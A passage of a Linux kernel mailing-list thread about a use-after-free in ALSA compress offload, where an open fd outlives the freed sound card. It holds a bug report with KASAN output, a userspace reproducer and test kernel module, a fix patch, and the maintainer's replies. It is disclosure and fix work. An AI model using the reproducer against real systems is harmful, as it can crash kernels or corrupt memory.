compr->open_list under compr->lock; list_del_init() + module_put() +
snd_card_file_remove() at free; and a dev_disconnect callback that
walks open_list, stops RUNNING/DRAINING/PAUSED streams, sets
SNDRV_PCM_STATE_DISCONNECTED and wakes the poll/read waiters.
---
sound/core/compress_offload.c | 67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
include/sound/compress_driver.h | 3 +++
2 files changed, 70 insertions(+)
diff --git a/sound/core/compress_offload.c b/sound/core/compress_offload.c
--- a/sound/core/compress_offload.c
+++ b/sound/core/compress_offload.c
@@ -44,6 +44,10 @@
struct snd_compr_file {
unsigned long caps;
struct snd_compr_stream stream;
+ /* open lifetime: linked into compr->open_list so the card
+ * disconnect callback can find and stop this stream, and so the
+ * fd pins the card and the module while it is open */
+ struct list_head list;
};
static void error_delayed_work(struct work_struct *work);
@@ -137,7 +141,38 @@
if (ret) {
kfree(runtime);
kfree(data);
+ snd_card_unref(compr->card);
+ return ret;
}
+
+ /* Open lifetime: pin the card against removal (snd_card_file_add
+ * also links the file into card->files_list, so the card teardown
+ * waits for this fd) and pin the module, and make the fd visible
+ * to the disconnect callback via compr->open_list. Without this
+ * the card could be unbound and freed while the fd stays open,
+ * leaving ioctl/read/write/poll/close to dereference freed
+ * snd_compr / snd_soc_pcm_runtime objects. */
+ INIT_LIST_HEAD(&data->list);
+ ret = snd_card_file_add(compr->card, f);
+ if (ret)
+ goto err_card_file;
+ if (!try_module_get(compr->card->module)) {
+ ret = -ENODEV;
+ goto err_module;
+ }
+ scoped_guard(mutex, &compr->lock)
+ list_add_tail(&data->list, &compr->open_list);
+
+ snd_card_unref(compr->card);
+ return ret;
+
+ err_module:
+ snd_card_file_remove(compr->card, f);
+ err_card_file:
+ scoped_guard(mutex, &compr->lock)
+ data->stream.ops->free(&data->stream);
+ kfree(runtime);
+ kfree(data);
snd_card_unref(compr->card);
return ret;
}
@@ -145,10 +180,16 @@
static int snd_compr_free(struct inode *inode, struct file *f)
{
struct snd_compr_file *data = f->private_data;
+ struct snd_compr *compr = data->stream.device;
struct snd_compr_runtime *runtime = data->stream.runtime;
cancel_delayed_work_sync(&data->stream.error_work);
+ /* unlink from the open list first, so the disconnect callback
+ * cannot walk this stream while it is being freed */
+ scoped_guard(mutex, &compr->lock)
+ list_del_init(&data->list);
+
switch (runtime->state) {
case SNDRV_PCM_STATE_RUNNING:
case SNDRV_PCM_STATE_DRAINING:
@@ -166,6 +207,11 @@
kfree(data->stream.runtime->buffer);
kfree(data->stream.runtime);
kfree(data);
+
+ /* drop the references taken at open; the file object is released
+ * by the caller afterwards, so this is the last possible point */
+ module_put(compr->card->module);
+ snd_card_file_remove(compr->card, f);
return 0;
}
@@ -1432,8 +1478,28 @@
static int snd_compress_dev_disconnect(struct snd_device *device)
{
struct snd_compr *compr;
+ struct snd_compr_file *compr_file;
+ struct snd_compr_stream *stream;
compr = device->device_data;
+
+ /* stop the streams of still-open fds: the card core disconnect no
+ * longer waits only for the files_list (which our fds are on via
+ * snd_card_file_add()), but the streams must also be told that the
+ * device went away, or a blocked read/poll would never wake up */
+ scoped_guard(mutex, &compr->lock) {
+ list_for_each_entry(compr_file, &compr->open_list, list) {
+ stream = &compr_file->stream;
+ if (stream->runtime->state != SNDRV_PCM_STATE_RUNNING &&
+ stream->runtime->state != SNDRV_PCM_STATE_DRAINING &&
+ stream->runtime->state != SNDRV_PCM_STATE_PAUSED)
+ continue;
+ compr->ops->trigger(stream, SNDRV_PCM_TRIGGER_STOP);
+ stream->runtime->state = SNDRV_PCM_STATE_DISCONNECTED;
+ wake_up(&stream->runtime->sleep);
+ }
+ }
+
snd_unregister_device(compr->dev);
return 0;
}
@@ -1541,6 +1607,7 @@
compr->device = device;
compr->direction = dirn;
mutex_init(&compr->lock);
+ INIT_LIST_HEAD(&compr->open_list);
snd_compress_set_id(compr, id);
diff --git a/include/sound/compress_driver.h b/include/sound/compress_driver.h
--- a/include/sound/compress_driver.h
+++ b/include/sound/compress_driver.h
@@ -188,6 +188,8 @@
* @card: sound card pointer
* @direction: Playback or capture direction
* @lock: device lock
+ * @open_list: list of open fds, protected by @lock; the disconnect
+ * callback walks it to stop the streams of files that are still open
* @device: device id
* @use_pause_in_draining: allow pause in draining, true when set
*/
@@ -199,6 +201,7 @@
struct snd_card *card;
unsigned int direction;
struct mutex lock;
+ struct list_head open_list; /* list of open fds (snd_compr_file.list) */
int device;
bool use_pause_in_draining;
#ifdef CONFIG_SND_VERBOSE_PROCFS
> -----原始邮件-----
> 发件人: "Takashi Iwai" <tiwai@suse.de>
> 发送时间:2026-11-22 16:07:00 (星期日)
> 收件人: 徐晗翔 <xuhx@hust.edu.cn>
> 抄送: vkoul@kernel.org, perex@perex.cz, tiwai@suse.com, linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org, lgirdwood@gmail.com, broonie@kernel.org
> 主题: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)
>
> On Sun, 22 Nov 2026 08:43:32 +0100,
> 徐晗翔 wrote:
> >
> > snd_compr_open() opens /dev/snd/comprC*D* without adding the file to
> > card->files_list, without taking a persistent card device reference and
> > without taking a module reference; it even drops the lookup reference
> > with snd_card_unref() before returning. The ASoC card can therefore be
> > unbound and freed while the compress fd is still open, after which
> > ioctl/read/write/poll/close dereference freed struct snd_compr and
> > snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN
> > kernel with a small test module: open the compress device, call
> > snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry
> > already reports slab-use-after-free in mutex_lock(&stream->device->lock)
> > inside snd_compr_ioctl().
> >
> > This is not a theoretical lost-reference issue. The upstream compress
> > offload code has an explicit open-file lifetime: snd_card_file_add() plus
> > try_module_get() at open, a data->list node linked into compr->open_list,
> > list_del_init() + module_put() + snd_card_file_remove() at free, and a
> > dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/
> > PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters.
> > The current tree removed all of it at the structure level: struct
> > snd_compr_file no longer has a list node and struct snd_compr no longer
> > has open_list. Consequently snd_card_disconnect_sync(), which waits for
> > card->files_list to drain, returns immediately with the compress fd still
> > open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free()
> > frees the objects the fd still points to.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
> > vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB).
> > The only build-time changes were temporary Kconfig prompts to build
> > snd-compress.ko and snd-rawmidi.ko as modules; no functional source
> > change was made for this case. The exact version line is in
> > evidence/kernel-version.txt.
> >
> > * Root cause and object lifetime
> >
> > The open path, sound/core/compress_offload.c:75-143, does only:
> >
> > compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
> > ...
> > data = kzalloc_obj(*data);
> > runtime = kzalloc_obj(*runtime);
> > data->stream.device = compr;
> > f->private_data = data;
> > scoped_guard(mutex, &compr->lock)
> > ret = compr->ops->open(&data->stream);
> > snd_card_unref(compr->card);
> >
> > There is no snd_card_file_add(compr->card, f), no
> > try_module_get(compr->card->module), and no list_add_tail() into an
> > open list. The structure definitions were changed too:
> > sound/core/compress_offload.c:44-49 has
> >
> > struct snd_compr_file {
> > unsigned long caps;
> > struct snd_compr_stream stream;
> > };
> >
> > while include/sound/compress_driver.h:194-210 has no open_list member
> > in struct snd_compr.
> >
> > The free path, sound/core/compress_offload.c:145-170, calls
> > cancel_delayed_work_sync(), optionally trigger(STOP), task-free,
> > ops->free() and kfree() -- but no list_del_init(), no module_put() and
> > no snd_card_file_remove().
> >
> > The disconnect callback, sound/core/compress_offload.c:1432-1447, is
> > only:
> >
> > compr = device->device_data;
> > snd_unregister_device(compr->dev);
> > return 0;
> >
> > It does not walk open streams, does not stop them, does not set
> > SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.
> >
> > Upstream by contrast has all of these: snd_card_file_add() and
> > try_module_get() in snd_compr_open(), data->list linked into
> > compr->open_list, matching list_del_init()/module_put()/
> > snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that
> > takes compr->lock, stops active streams and sets DISCONNECTED.
> >
> > * Why card removal reaches the freed objects
> >
> > The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
> > soc_cleanup_card_resources() calls snd_card_disconnect_sync() first,
> > then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then
> > snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync()
> > (sound/core/init.c:571-582) waits under files_lock for files_list to
> > become empty. A compress fd is not in files_list, so this wait is a
> > no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via
> > device_unregister(rtd->dev), while the fd still has
> > data->stream.device = compr and data->stream.private_data = rtd.
> > snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and
> > snd_compr_poll() all begin with
> > guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside
> > freed struct snd_compr before looking at stream->runtime.
> >
> > * Trigger model
> >
> > - A compress offload device must exist (real ASoC compress driver, or
> > the attached test module);
> > - a user with access to /dev/snd/comprC*D* opens it;
> > - the card is removed/unbound (driver unbind, card unregister, module
> > unload, or the test module's free parameter);
> > - the same fd is used again (ioctl/read/write/poll) or closed.
> >
> > The card-removal step normally needs a privileged action, but the fd
> > and the removal can belong to different processes and the kernel must
> > not free objects that an open file still references. No hardware is
> > required for the reproducer.
> >
> > * Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3
> >
> > sndcore_compress.c registers one card with one compress device and a
> > minimal struct snd_compr_ops; the card private_free function kfree()s
> > the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The
> > userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the
> > module's "free" parameter to call snd_card_free(), then calls ioctl()
> > on the stale fd.
> >
> > Observed (evidence/mr03-kasan-uaf.log):
> >
> > free: calling snd_card_free(...)
> > BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
> > Write of size 8 at addr ... by task sndcore_test/88
> > Call Trace:
> > mutex_lock+0x72/0xe0
> > snd_compr_ioctl+0xd2/0xff0 [snd_compress]
> > ...
> > BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
> > snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
> > KASAN bug count: 2
> >
> > The bug count is the number of KASAN reports collected in that run;
> > the first report is the mutex_lock() inside the ioctl entry.
> >
> >
> >
> > * Suggested direction
> >
> > Restore the upstream lifetime in one series:
> > - snd_compr_open(): snd_card_file_add(), try_module_get(), link
> > data->list into compr->open_list;
> > - snd_compr_free(): list_del_init(), module_put() and
> > snd_card_file_remove(), with the error paths undoing in reverse;
> > - snd_compress_dev_disconnect(): walk compr->open_list under
> > compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
> > SNDRV_PCM_STATE_DISCONNECTED and wake waiters;
> > - restore struct snd_compr_file.list and struct snd_compr.open_list.
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
> > // SPDX-License-Identifier: GPL-2.0
> > #define _GNU_SOURCE
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <fcntl.h>
> > #include <unistd.h>
> > #include <errno.h>
> > #include <pthread.h>
> > #include <sys/ioctl.h>
> > #include <sound/asound.h>
> >
> > static int write_free(const char *mod)
> > {
> > char path[256];
> > int fd;
> >
> > snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
> > fd = open(path, O_WRONLY);
> > if (fd < 0) {
> > fprintf(stderr, "open %s: %s\n", path, strerror(errno));
> > return -1;
> > }
> > if (write(fd, "1\n", 2) != 2)
> > fprintf(stderr, "write %s: %s\n", path, strerror(errno));
> > close(fd);
> > return 0;
> > }
> >
> > static int do_hwdep(void)
> > {
> > struct snd_hwdep_dsp_image img;
> > int fd;
> >
> > fd = open("/dev/snd/hwC0D0", O_RDWR);
> > if (fd < 0) {
> > fprintf(stderr, "open hwdep: %s\n", strerror(errno));
> > return 1;
> > }
> > memset(&img, 0, sizeof(img));
> > img.index = 0;
> > img.length = 0;
> > img.image = 0;
> > for (int i = 0; i < 4; i++) {
> > if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
> > fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
> > }
> > close(fd);
> > printf("HWDEP: ioctl done (max_active should be >= 2)\n");
> > sleep(1);
> > return 0;
> > }
> >
> > static void *hwdep_thread(void *arg)
> > {
> > int fd = *(int *)arg;
> > struct snd_hwdep_dsp_image img;
> >
> > memset(&img, 0, sizeof(img));
> > img.index = 0;
> > ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
> > return NULL;
> > }
> >
> > static int do_hwdep_race(void)
> > {
> > pthread_t th[4];
> > int fd;
> >
> > fd = open("/dev/snd/hwC0D0", O_RDWR);
> > if (fd < 0) {
> > fprintf(stderr, "open hwdep: %s\n", strerror(errno));
> > return 1;
> > }
> > for (int i = 0; i < 4; i++)
> > pthread_create(&th[i], NULL, hwdep_thread, &fd);
> > for (int i = 0; i < 4; i++)
> > pthread_join(th[i], NULL);
> > close(fd);
> > printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
> > sleep(1);
> > return 0;
> > }
> >
> > static int do_compress(void)
> > {
> > int fd;
> >
> > fd = open("/dev/snd/comprC0D0", O_WRONLY);
> > if (fd < 0) {
> > fprintf(stderr, "open compress: %s\n", strerror(errno));
> > return 1;
> > }
> > printf("COMPRESS: fd open, freeing card\n");
> > write_free("sndcore_compress");
> > printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
> > if (ioctl(fd, 0x4300, 0) < 0)
> > fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
> > printf("COMPRESS: ioctl returned without KASAN report\n");
> > close(fd);
> > sleep(1);
> > return 0;
> > }
> >
> > static int do_rawmidi(void)
> > {
> > int fd;
> >
> > fd = open("/dev/snd/midiC0D0", O_RDONLY);
> > if (fd < 0) {
> > fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
> > return 1;
> > }
> > printf("RAWMIDI: fd open, letting flood thread run\n");
> > sleep(2);
> > printf("RAWMIDI: closing (trigger/cancel/free window)\n");
> > close(fd);
> > sleep(3);
> > printf("RAWMIDI: close returned, freeing card\n");
> > write_free("sndcore_rawmidi");
> > sleep(1);
> > return 0;
> > }
> >
> > int main(int argc, char **argv)
> > {
> > if (argc < 2) {
> > fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
> > return 2;
> > }
> > if (!strcmp(argv[1], "jackfree"))
> > return write_free("sndcore_jack");
> > if (!strcmp(argv[1], "compress"))
> > return do_compress();
> > if (!strcmp(argv[1], "rawmidi"))
> > return do_rawmidi();
> > if (!strcmp(argv[1], "hwdep"))
> > return do_hwdep();
> > if (!strcmp(argv[1], "hwdep-race"))
> > return do_hwdep_race();
> > fprintf(stderr, "unknown mode %s\n", argv[1]);
> > return 2;
> > }
> >
> > // SPDX-License-Identifier: GPL-2.0
> > #include <linux/module.h>
> > #include <linux/kernel.h>
> > #include <linux/slab.h>
> > #include <sound/core.h>
> > #include <sound/compress_driver.h>
> > #include "sndcore_parent.h"
> >
> > static struct snd_card *card;
> > static struct snd_compr *compr;
> >
> > static int c_open(struct snd_compr_stream *stream) { return 0; }
> > static int c_free(struct snd_compr_stream *stream) { return 0; }
> > static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }
> >
> > static struct snd_compr_ops compr_ops = {
> > .open = c_open,
> > .free = c_free,
> > .trigger = c_trigger,
> > };
> >
> > static int free_set(const char *val, const struct kernel_param *kp)
> > {
> > if (card) {
> > pr_info("free: calling snd_card_free(%p)\n", card);
> > snd_card_free(card);
> > card = NULL;
> > }
> > return 0;
> > }
> > static const struct kernel_param_ops free_ops = { .set = free_set };
> > module_param_cb(free, &free_ops, NULL, 0200);
> >
> > static void card_private_free(struct snd_card *c)
> > {
> > pr_info("card private_free: kfree(compr=%p)\n", compr);
> > kfree(compr);
> > compr = NULL;
> > }
> >
> > static int __init sndcore_compress_init(void)
> > {
> > int err;
> >
> > err = sndcore_card_new(&card, "sndcore_compress");
> > if (err < 0)
> > return err;
> >
> > compr = kzalloc(sizeof(*compr), GFP_KERNEL);
> > if (!compr) {
> > snd_card_free(card);
> > card = NULL;
> > sndcore_parent_put();
> > return -ENOMEM;
> > }
> > compr->ops = &compr_ops;
> > card->private_free = card_private_free;
> >
> > err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
> > if (err < 0) {
> > kfree(compr);
> > compr = NULL;
> > snd_card_free(card);
> > card = NULL;
> > sndcore_parent_put();
> > return err;
> > }
> > err = snd_card_register(card);
> > if (err < 0) {
> > snd_card_free(card);
> > card = NULL;
> > sndcore_parent_put();
> > return err;
> > }
> > pr_info("compress card registered\n");
> > return 0;
> > }
> >
> > static void __exit sndcore_compress_exit(void)
> > {
> > if (card) {
> > snd_card_free(card);
> > card = NULL;
> > }
> > sndcore_parent_put();
> > }
> >
> > module_init(sndcore_compress_init);
> > module_exit(sndcore_compress_exit);
> > MODULE_LICENSE("GPL");
> > MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");
>
> Thanks for the report.
>
> But, as I already requested in your previous reports, could you rather
> submit a fix patch along with the report? I suppose you're working
> with AI, so it's just a matter of asking it to the model.
>
>
> Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)
2026-11-25 12:44 ` [PATCH] Re: " 徐晗翔
@ 2026-11-25 14:21 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:21 UTC (permalink / raw)
To: 徐晗翔
Cc: Takashi Iwai, vkoul, perex, tiwai, linux-sound, linux-kernel,
lgirdwood, broonie
On Wed, 25 Nov 2026 13:44:16 +0100,
徐晗翔 wrote:
>
> snd_compr_open() dropped the lookup reference before returning and
> took neither a card reference nor a module reference, and kept no
> per-fd node: the card could be unbound and freed while a compress
> fd was still open, and the next ioctl/read/write/poll/close
> dereferenced freed struct snd_compr and snd_soc_pcm_runtime
> objects (KASAN slab-use-after-free in snd_compr_ioctl()).
>
> Restore the open-file lifetime: snd_card_file_add() (which also
> puts the fd on card->files_list so snd_card_disconnect_sync() waits
> for it) plus try_module_get() at open; a data->list node linked into
> compr->open_list under compr->lock; list_del_init() + module_put() +
> snd_card_file_remove() at free; and a dev_disconnect callback that
> walks open_list, stops RUNNING/DRAINING/PAUSED streams, sets
> SNDRV_PCM_STATE_DISCONNECTED and wakes the poll/read waiters.
This should have been already addressed in the latest upstream.
Please verify again with the latest upstream code.
thanks,
Takashi
> ---
> sound/core/compress_offload.c | 67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
> include/sound/compress_driver.h | 3 +++
> 2 files changed, 70 insertions(+)
>
> diff --git a/sound/core/compress_offload.c b/sound/core/compress_offload.c
> --- a/sound/core/compress_offload.c
> +++ b/sound/core/compress_offload.c
> @@ -44,6 +44,10 @@
> struct snd_compr_file {
> unsigned long caps;
> struct snd_compr_stream stream;
> + /* open lifetime: linked into compr->open_list so the card
> + * disconnect callback can find and stop this stream, and so the
> + * fd pins the card and the module while it is open */
> + struct list_head list;
> };
>
> static void error_delayed_work(struct work_struct *work);
> @@ -137,7 +141,38 @@
> if (ret) {
> kfree(runtime);
> kfree(data);
> + snd_card_unref(compr->card);
> + return ret;
> }
> +
> + /* Open lifetime: pin the card against removal (snd_card_file_add
> + * also links the file into card->files_list, so the card teardown
> + * waits for this fd) and pin the module, and make the fd visible
> + * to the disconnect callback via compr->open_list. Without this
> + * the card could be unbound and freed while the fd stays open,
> + * leaving ioctl/read/write/poll/close to dereference freed
> + * snd_compr / snd_soc_pcm_runtime objects. */
> + INIT_LIST_HEAD(&data->list);
> + ret = snd_card_file_add(compr->card, f);
> + if (ret)
> + goto err_card_file;
> + if (!try_module_get(compr->card->module)) {
> + ret = -ENODEV;
> + goto err_module;
> + }
> + scoped_guard(mutex, &compr->lock)
> + list_add_tail(&data->list, &compr->open_list);
> +
> + snd_card_unref(compr->card);
> + return ret;
> +
> + err_module:
> + snd_card_file_remove(compr->card, f);
> + err_card_file:
> + scoped_guard(mutex, &compr->lock)
> + data->stream.ops->free(&data->stream);
> + kfree(runtime);
> + kfree(data);
> snd_card_unref(compr->card);
> return ret;
> }
> @@ -145,10 +180,16 @@
> static int snd_compr_free(struct inode *inode, struct file *f)
> {
> struct snd_compr_file *data = f->private_data;
> + struct snd_compr *compr = data->stream.device;
> struct snd_compr_runtime *runtime = data->stream.runtime;
>
> cancel_delayed_work_sync(&data->stream.error_work);
>
> + /* unlink from the open list first, so the disconnect callback
> + * cannot walk this stream while it is being freed */
> + scoped_guard(mutex, &compr->lock)
> + list_del_init(&data->list);
> +
> switch (runtime->state) {
> case SNDRV_PCM_STATE_RUNNING:
> case SNDRV_PCM_STATE_DRAINING:
> @@ -166,6 +207,11 @@
> kfree(data->stream.runtime->buffer);
> kfree(data->stream.runtime);
> kfree(data);
> +
> + /* drop the references taken at open; the file object is released
> + * by the caller afterwards, so this is the last possible point */
> + module_put(compr->card->module);
> + snd_card_file_remove(compr->card, f);
> return 0;
> }
>
> @@ -1432,8 +1478,28 @@
> static int snd_compress_dev_disconnect(struct snd_device *device)
> {
> struct snd_compr *compr;
> + struct snd_compr_file *compr_file;
> + struct snd_compr_stream *stream;
>
> compr = device->device_data;
> +
> + /* stop the streams of still-open fds: the card core disconnect no
> + * longer waits only for the files_list (which our fds are on via
> + * snd_card_file_add()), but the streams must also be told that the
> + * device went away, or a blocked read/poll would never wake up */
> + scoped_guard(mutex, &compr->lock) {
> + list_for_each_entry(compr_file, &compr->open_list, list) {
> + stream = &compr_file->stream;
> + if (stream->runtime->state != SNDRV_PCM_STATE_RUNNING &&
> + stream->runtime->state != SNDRV_PCM_STATE_DRAINING &&
> + stream->runtime->state != SNDRV_PCM_STATE_PAUSED)
> + continue;
> + compr->ops->trigger(stream, SNDRV_PCM_TRIGGER_STOP);
> + stream->runtime->state = SNDRV_PCM_STATE_DISCONNECTED;
> + wake_up(&stream->runtime->sleep);
> + }
> + }
> +
> snd_unregister_device(compr->dev);
> return 0;
> }
> @@ -1541,6 +1607,7 @@
> compr->device = device;
> compr->direction = dirn;
> mutex_init(&compr->lock);
> + INIT_LIST_HEAD(&compr->open_list);
>
> snd_compress_set_id(compr, id);
>
> diff --git a/include/sound/compress_driver.h b/include/sound/compress_driver.h
> --- a/include/sound/compress_driver.h
> +++ b/include/sound/compress_driver.h
> @@ -188,6 +188,8 @@
> * @card: sound card pointer
> * @direction: Playback or capture direction
> * @lock: device lock
> + * @open_list: list of open fds, protected by @lock; the disconnect
> + * callback walks it to stop the streams of files that are still open
> * @device: device id
> * @use_pause_in_draining: allow pause in draining, true when set
> */
> @@ -199,6 +201,7 @@
> struct snd_card *card;
> unsigned int direction;
> struct mutex lock;
> + struct list_head open_list; /* list of open fds (snd_compr_file.list) */
> int device;
> bool use_pause_in_draining;
> #ifdef CONFIG_SND_VERBOSE_PROCFS
>
>
> > -----原始邮件-----
> > 发件人: "Takashi Iwai" <tiwai@suse.de>
> > 发送时间:2026-11-22 16:07:00 (星期日)
> > 收件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 抄送: vkoul@kernel.org, perex@perex.cz, tiwai@suse.com, linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org, lgirdwood@gmail.com, broonie@kernel.org
> > 主题: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)
> >
> > On Sun, 22 Nov 2026 08:43:32 +0100,
> > 徐晗翔 wrote:
> > >
> > > snd_compr_open() opens /dev/snd/comprC*D* without adding the file to
> > > card->files_list, without taking a persistent card device reference and
> > > without taking a module reference; it even drops the lookup reference
> > > with snd_card_unref() before returning. The ASoC card can therefore be
> > > unbound and freed while the compress fd is still open, after which
> > > ioctl/read/write/poll/close dereference freed struct snd_compr and
> > > snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN
> > > kernel with a small test module: open the compress device, call
> > > snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry
> > > already reports slab-use-after-free in mutex_lock(&stream->device->lock)
> > > inside snd_compr_ioctl().
> > >
> > > This is not a theoretical lost-reference issue. The upstream compress
> > > offload code has an explicit open-file lifetime: snd_card_file_add() plus
> > > try_module_get() at open, a data->list node linked into compr->open_list,
> > > list_del_init() + module_put() + snd_card_file_remove() at free, and a
> > > dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/
> > > PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters.
> > > The current tree removed all of it at the structure level: struct
> > > snd_compr_file no longer has a list node and struct snd_compr no longer
> > > has open_list. Consequently snd_card_disconnect_sync(), which waits for
> > > card->files_list to drain, returns immediately with the compress fd still
> > > open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free()
> > > frees the objects the fd still points to.
> > >
> > > The detailed description:
> > >
> > > * Test environment / affected version
> > >
> > > Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
> > > vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB).
> > > The only build-time changes were temporary Kconfig prompts to build
> > > snd-compress.ko and snd-rawmidi.ko as modules; no functional source
> > > change was made for this case. The exact version line is in
> > > evidence/kernel-version.txt.
> > >
> > > * Root cause and object lifetime
> > >
> > > The open path, sound/core/compress_offload.c:75-143, does only:
> > >
> > > compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
> > > ...
> > > data = kzalloc_obj(*data);
> > > runtime = kzalloc_obj(*runtime);
> > > data->stream.device = compr;
> > > f->private_data = data;
> > > scoped_guard(mutex, &compr->lock)
> > > ret = compr->ops->open(&data->stream);
> > > snd_card_unref(compr->card);
> > >
> > > There is no snd_card_file_add(compr->card, f), no
> > > try_module_get(compr->card->module), and no list_add_tail() into an
> > > open list. The structure definitions were changed too:
> > > sound/core/compress_offload.c:44-49 has
> > >
> > > struct snd_compr_file {
> > > unsigned long caps;
> > > struct snd_compr_stream stream;
> > > };
> > >
> > > while include/sound/compress_driver.h:194-210 has no open_list member
> > > in struct snd_compr.
> > >
> > > The free path, sound/core/compress_offload.c:145-170, calls
> > > cancel_delayed_work_sync(), optionally trigger(STOP), task-free,
> > > ops->free() and kfree() -- but no list_del_init(), no module_put() and
> > > no snd_card_file_remove().
> > >
> > > The disconnect callback, sound/core/compress_offload.c:1432-1447, is
> > > only:
> > >
> > > compr = device->device_data;
> > > snd_unregister_device(compr->dev);
> > > return 0;
> > >
> > > It does not walk open streams, does not stop them, does not set
> > > SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.
> > >
> > > Upstream by contrast has all of these: snd_card_file_add() and
> > > try_module_get() in snd_compr_open(), data->list linked into
> > > compr->open_list, matching list_del_init()/module_put()/
> > > snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that
> > > takes compr->lock, stops active streams and sets DISCONNECTED.
> > >
> > > * Why card removal reaches the freed objects
> > >
> > > The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
> > > soc_cleanup_card_resources() calls snd_card_disconnect_sync() first,
> > > then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then
> > > snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync()
> > > (sound/core/init.c:571-582) waits under files_lock for files_list to
> > > become empty. A compress fd is not in files_list, so this wait is a
> > > no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via
> > > device_unregister(rtd->dev), while the fd still has
> > > data->stream.device = compr and data->stream.private_data = rtd.
> > > snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and
> > > snd_compr_poll() all begin with
> > > guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside
> > > freed struct snd_compr before looking at stream->runtime.
> > >
> > > * Trigger model
> > >
> > > - A compress offload device must exist (real ASoC compress driver, or
> > > the attached test module);
> > > - a user with access to /dev/snd/comprC*D* opens it;
> > > - the card is removed/unbound (driver unbind, card unregister, module
> > > unload, or the test module's free parameter);
> > > - the same fd is used again (ioctl/read/write/poll) or closed.
> > >
> > > The card-removal step normally needs a privileged action, but the fd
> > > and the removal can belong to different processes and the kernel must
> > > not free objects that an open file still references. No hardware is
> > > required for the reproducer.
> > >
> > > * Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3
> > >
> > > sndcore_compress.c registers one card with one compress device and a
> > > minimal struct snd_compr_ops; the card private_free function kfree()s
> > > the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The
> > > userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the
> > > module's "free" parameter to call snd_card_free(), then calls ioctl()
> > > on the stale fd.
> > >
> > > Observed (evidence/mr03-kasan-uaf.log):
> > >
> > > free: calling snd_card_free(...)
> > > BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
> > > Write of size 8 at addr ... by task sndcore_test/88
> > > Call Trace:
> > > mutex_lock+0x72/0xe0
> > > snd_compr_ioctl+0xd2/0xff0 [snd_compress]
> > > ...
> > > BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
> > > snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
> > > KASAN bug count: 2
> > >
